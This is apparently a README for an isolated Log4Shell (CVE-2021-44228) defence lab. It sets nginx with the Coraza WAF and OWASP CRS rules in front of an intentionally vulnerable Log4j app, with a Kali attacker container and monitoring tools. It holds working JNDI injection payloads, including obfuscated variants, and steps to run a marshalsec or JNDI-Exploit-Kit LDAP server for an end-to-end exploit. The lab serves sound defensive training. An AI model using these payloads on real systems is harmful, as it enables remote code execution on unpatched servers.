
Log4Shell (CVE-2021-44228) Abwehrlabor — nginx + Coraza WAF dynamic module + OWASP CRS v4. Nur für Bildungszwecke.
Bildungs-/Abwehrzweck: Dieses Labor enthält eine absichtlich verwundbare App (Log4j 2.14.1) und ein JNDI-Exploit-Kit, NUR zum Erlernen der Erkennung und Blockierung von Log4Shell in einer isolierten Umgebung. Nicht im Internet bereitstellen, nicht zum Angriff auf Systeme verwenden, die nicht Ihnen gehören.
Labor zur praktischen Abwehr von Log4Shell (CVE-2021-44228) mit nginx, integriertem Coraza WAF (Dynamic Module) + OWASP CRS v4 + benutzerdefinierten JNDI-Regeln. Enthält einen verwundbaren Spring Boot Target-Container, eine Kali-Angreifer-Box sowie Suricata + Wazuh zur Überwachung.
Host (Windows / Docker Desktop)
│
├── dmz-net (172.20.0.0/24, external-facing)
│ ├── nginx-proxy ← entrypoint :80/:443, có Coraza module + CRS v4
│ ├── attacker-box ← Kali + JNDI exploit kits
│ └── suricata-ids ← sniff dmz traffic
│
└── backend-net (172.22.0.0/24, internal: true)
├── nginx-proxy ← second NIC
├── log4shell-app ← Spring Boot Log4j 2.14.1
├── wazuh-manager ← SIEM
└── wazuh-dashboard ← UI
Request flow: client → nginx (Coraza inspect) → log4shell-app. WAF läuft von nginx (über Modul ), nicht als separater Container.
ngx_http_coraza_module.so| Komponente | Mindestversion |
|---|---|
| Docker Desktop / Engine | 24+ mit Compose v2 |
| Freier RAM | 4 GB (Wazuh verbraucht ~1.5 GB) |
| Freier Speicherplatz | 6 GB (Image-Build-Artefakte) |
| Erste Build-Zeit | 10–15 Minuten (libcoraza + nginx-Modul + Maven-Angreifer-Tools) |
cd /path/to/log4shell-nginx-coraza
docker compose build
Die langsamste Stufe ist nginx (Build von libcoraza v1.4.0 mit Go 1.25, dann Kompilierung des coraza-nginx-Moduls). Wird nach dem ersten Mal gecacht.
docker compose up -d
docker compose ps
Nach ~30s erwarteter Status:
| Service | STATUS |
|---|---|
nginx-proxy | Up (healthy) |
victim-app | Up |
kali-attacker | Up |
wazuh-siem, wazuh-web | Up |
suricata-ids | möglicherweise Restarting (siehe Abschnitt 8 — blockiert das Labor nicht) |
# nginx liveness
curl http://localhost/health
# → "nginx proxy healthy"
# qua WAF tới app (endpoint thật của log4shell-vulnerable-app)
curl -H 'X-Api-Version: 1.0' http://localhost/
# → "Hello, world!"
curl http://localhost/ ohne Header X-Api-Version gibt 400 zurück — das ist ein Spring Boot Whitelabel-Fehler (kein Handler), nicht vom WAF blockiert.
# JNDI trong User-Agent → rule 1910010 fire, 403
curl -i -H 'User-Agent: ${jndi:ldap://attacker:1389/x}' http://localhost/
# JNDI trong header app log: X-Api-Version → rule 1910001 (header+arg) fire, 403
curl -i -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost/
# JNDI trong query string → CRS phase 1 chặn
curl -i 'http://localhost/?x=${jndi:ldap://attacker/x}'
Erwartet: HTTP/1.1 403 Forbidden, Body <html>... 403 Forbidden ... nginx ...</html>.
# Lower trick (rule 1910004 / 1910008)
curl -i -H 'User-Agent: ${${lower:j}ndi:ldap://attacker:1389/x}' http://localhost/
# Colon-dash-dash (rule 1910008)
curl -i -H 'User-Agent: ${${::-j}${::-n}${::-d}${::-i}:ldap://attacker:1389/x}' http://localhost/
curl -i -X POST -H 'Content-Type: application/json' \
-d '{"msg":"${jndi:ldap://attacker:1389/x}"}' \
http://localhost/api/log
# → 403 (rule 1910026: Content-Type=json + body chứa jndi)
docker exec nginx-proxy sh -c 'tail -f /var/log/coraza/audit.log' | python -c "
import json,sys
for ln in sys.stdin:
try:
d=json.loads(ln)
t=d['transaction']
ua=t['request']['headers'].get('user-agent',['?'])[0][:60]
st=t['response']['status']
for m in t.get('messages') or []:
print(f'{st} {ua} :: {m[\"error_message\"][:160]}')
except: pass
"
Jedes Ereignis ist JSON Lines, mit:
transaction.is_interrupted: true → WAF blockiertmessages[].error_message → welche Regel ausgelöst wurde, Datei & Zeile, Schweregraddocker exec nginx-proxy tail -f /var/log/nginx/access.log
Filtern der Blockierungen:
docker exec nginx-proxy sh -c 'grep " 403 " /var/log/nginx/access.log | tail'
./logs/nginx/ ← access.log, error.log
./logs/coraza/ ← audit.log (JSON), debug.log
Standardmäßig ist
backend-netaufinternal: truegesetzt undattacker-boxbefindet sich nur indmz-net, daher kann log4shell-app die Angreifer-Box NICHT erreichen. Damit die JNDI-Kette Ende-zu-Ende funktioniert, führen Sie zuerst Schritt 6.0 aus.
Sửa docker-compose.yml, thêm attacker-box vào backend-net:
attacker-box:
networks:
- dmz-net
- backend-net # <— thêm
Hoặc chuyển log4shell-app sang dmz-net (đơn giản hơn nhưng giảm tính giáo dục về segmentation):
log4shell-app:
networks:
- backend-net
- dmz-net # <— thêm
Anwenden: docker compose up -d (Compose erstellt den entsprechenden Container neu).
docker exec -it kali-attacker bash
cd /opt/exploits
# Option A: marshalsec — đơn giản, chỉ relay LDAP→HTTP
./scripts/start-ldap-server.sh marshalsec '' 172.20.0.2
# Option B: JNDI-Exploit-Kit — full toolkit, payload "touch /tmp/pwned"
./scripts/start-ldap-server.sh jndi-kit
Der Server hört auf LDAP :1389 und HTTP :8888 (im Compose gegenüber dem Host freigegeben).
# Từ attacker-box, gọi thẳng log4shell-app trên backend-net
docker exec kali-attacker curl -s -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://victim-app:8080/
Überprüfung:
# Pwned marker được tạo trong app container
docker exec victim-app ls -la /tmp/pwned
Wenn die Datei vorhanden ist → Exploit-Kette OK, App ist weiterhin verwundbar, WAF wird bei Verwendung des Hauptwegs NICHT umgangen.
# Đi qua nginx (đường chính public)
curl -i -H 'X-Api-Version: ${jndi:ldap://172.20.0.2:1389/Exploit}' http://localhost/
# → 403 Forbidden, KHÔNG có /tmp/pwned mới
Die Datei ./coraza/config/log4shell-rules.conf wird :ro in nginx unter /etc/nginx/coraza/log4shell-rules.conf eingehängt. Nach der Bearbeitung:
docker exec nginx-proxy nginx -t # syntax check
docker exec nginx-proxy nginx -s reload
Wenn Coraza einen Parsing-Fehler meldet (failed to compile the directive...), werden die Workers beendet und nginx -s reload kann sie nicht neu starten. Dann:
docker compose restart nginx
docker exec nginx-proxy tail -20 /var/log/nginx/error.log
Include-Reihenfolge (in nginx/coraza/main.conf, bereits im Image eingebaut):
SecRuleEngine On, audit log, debug logcrs-setup.conf — initialisiert tx.*_anomaly_score, Schwellenwertowasp-crs/rules/*.conf — das gesamte CRS v4.7.0log4shell-rules.conf — benutzerdefinierte Regeln (vom Host eingehängt)Bereich benutzerdefinierter Regel-IDs: 1910001 – 1910999 (vermeidet den CRS-Bereich 900000–999999).
EMERGENCY, ALERT, CRITICAL, ERROR, WARNING, NOTICE, INFO, DEBUG. HIGH/LOW sind ungültig.IP:, SESSION:, RESOURCE:) funktionieren nicht, wenn kein Backing Store konfiguriert ist. Verwenden Sie tx. für pro-Request oder Ratenbegrenzung über nginx limit_req_zone.TX:VARNAME kann nur auf Variablen verweisen, die im selben Request mit setvar gesetzt wurden. Wenn die Regel in einer anderen Phase ist, erwägen Sie, sie zu einer Chain-Regel zusammenzufassen.(unhealthy) / curl localhost hängtdocker exec nginx-proxy tail -20 /var/log/nginx/error.log | grep coraza
Meistens aufgrund einer Syntaxfehler in einer neuen Regel → alle Workers beenden mit Code 2. Regel korrigieren, docker compose restart nginx.
failed to create WAF: ... unknown severity: HIGHÄndern Sie severity:'HIGH' → severity:'ERROR' in der benutzerdefinierten Regel.
failed to compile the directive "secrule": invalid arguments, expected collection TXDie Regel verwendet setvar:ip.xxx oder verweist auf IP:something / TX:NEVER_DECLARED. Entfernen Sie die persistente Collection oder fassen Sie die Logik in einer einzelnen Chain-Regel zusammen.
Exited (1)Das Image jasonish/suricata:latest hat einen eigenen Entrypoint und das YAML-Mount von ./suricata/config/ ist möglicherweise nicht mit der Version im Image kompatibel. Schnellbehebung: Kommentieren Sie den Service suricata im Compose vorübergehend aus, das Labor funktioniert trotzdem normal (kein IDS erforderlich, damit Coraza funktioniert). Für eine vollständige Behebung ersetzen Sie suricata.yaml durch das Standard-Image (docker run --rm jasonish/suricata cat /etc/suricata/suricata.yaml.dist > suricata/config/suricata.yaml).
Das Basis-Image ist Alpine 3.8 EOL. Stellen Sie sicher, dass der Befehl im Compose ["java", "-jar", "/app/spring-boot-application.jar"] ist (KEIN apk add iptables — das Alpine 3.8-Repo gibt 404).
http://localhost:5601Wazuh Manager + Dashboard benötigen zusätzlich wazuh-indexer (OpenSearch) um vollständig zu funktionieren. Dem aktuellen Stack fehlt dieser Service – das Dashboard startet, aber der Login schlägt fehl. Fügen Sie später bei Bedarf den Service wazuh-indexer gemäß dem offiziellen Compose hinzu.
# Stop + remove container, giữ image cache
docker compose down
# Nuke all (kèm volume Wazuh, ép rebuild lần sau)
docker compose down -v
# Xoá luôn image build (giải phóng ~3 GB)
docker rmi log4shell-nginx-coraza-nginx log4shell-nginx-coraza-attacker-box
log4shell-nginx-coraza/
├── docker-compose.yml
├── nginx/
│ ├── Dockerfile # multi-stage: libcoraza + coraza-nginx + CRS v4
│ ├── nginx.conf # load_module + coraza on; ở http{}
│ ├── conf/
│ │ └── default.conf # reverse proxy → log4shell-app:8080
│ └── coraza/
│ └── main.conf # engine config + Include CRS + custom
├── coraza/
│ └── config/
│ └── log4shell-rules.conf # custom JNDI rules, mount :ro vào nginx
├── attacker/
│ ├── Dockerfile # Kali + marshalsec + JNDI-Exploit-Kit + rogue-jndi
│ ├── scripts/
│ │ ├── start-ldap-server.sh
│ │ └── test-payloads.sh
│ └── exploit-classes/
│ └── Exploit.java
├── suricata/
│ ├── config/
│ └── rules/
├── wazuh/config/
└── logs/ # mount points cho nginx, coraza, app, suricata, wazuh
| Bereich | Zuständigkeit | Überschneidung mit CRS-Bereich? |
|---|---|---|
| 900000–999999 | OWASP CRS v4 (init, IP rep, protocol, RCE, SQLi, XSS, scanners, blocking eval) | (CRS besitzt) |
| 1910000–1910999 | Custom Log4Shell rules | Nein |
Alle vorhandenen benutzerdefinierten Regel-IDs: 1910001–1910008 (JNDI-Muster), 1910010–1910014 (pro-Header), 1910015 (alternative Protokolle), 1910020 (Scan-Erkennung), 1910026 (JSON-Body-Kette), 1910028 (XML-Body-Kette), 1910030 (Paranoia 3), 1910999 (Anomalie-Bewertungs-Echo).
Abschluss: Wenn das Labor bis Schritt 4 läuft, funktioniert der WAF. Schritt 6 ist nur erforderlich, wenn die vollständige Exploit-Kette Ende-zu-Ende demonstriert werden soll.